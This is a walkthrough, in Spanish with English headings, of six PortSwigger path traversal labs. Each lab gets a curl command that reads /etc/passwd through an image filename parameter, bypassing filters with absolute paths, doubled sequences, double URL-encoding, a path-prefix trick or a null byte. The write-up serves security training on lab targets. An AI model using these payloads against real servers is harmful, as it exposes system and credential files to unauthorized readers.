PortSwigger Path Traversal Directory Traversal Filter Bypass Null Byte

Path Traversal

Lectura de archivos arbitrarios mediante directory traversal: caso simple, bypass de rutas absolutas, secuencias dobladas, URL-encoding doble, validación de prefijo y null byte bypass.

Reading arbitrary files via directory traversal

Lab 1File path traversal, simple case

La página es vulnerable en el parámetro filename de la visualización de imágenes. Usar ../ para subir directorios y leer /etc/passwd.

curl -i "https://LAB-ID.web-security-academy.net/image?filename=../../../etc/passwd"

Common obstacles to exploiting path traversal

Lab 2Traversal sequences blocked with absolute path bypass

El servidor bloquea las secuencias ../. Usar una ruta absoluta directa en su lugar.

curl -i "https://LAB-ID.web-security-academy.net/image?filename=/etc/passwd"
Lab 3Traversal sequences stripped non-recursively

El servidor reemplaza .. por . y ../ por / de forma no recursiva. Doblar las secuencias para que después de la sustitución quede el traversal correcto.

curl -i "https://LAB-ID.web-security-academy.net/image?filename=....//....//....//....//....//etc/passwd"
Lab 4Traversal sequences stripped with superfluous URL-decode

El servidor sanitiza con URL-decode. Encodificar ../ dos veces (%252f → primera decodificación da %2f → segunda da /).

curl -i "https://LAB-ID.web-security-academy.net/image?filename=..%252f..%252f..%252fetc/passwd"
Lab 5Validation of start of path

El servidor valida que el path comience con /var/www/images/. Incluir ese prefijo y luego hacer traversal para salir del directorio.

curl -i "https://LAB-ID.web-security-academy.net/image?filename=/var/www/images/../../../etc/passwd"
Lab 6Validation of file extension with null byte bypass

El servidor requiere extensión .png. Usar el byte nulo %00 para terminar la cadena antes de la extensión.

curl -i "https://LAB-ID.web-security-academy.net/image?filename=../../../../etc/passwd%00.png"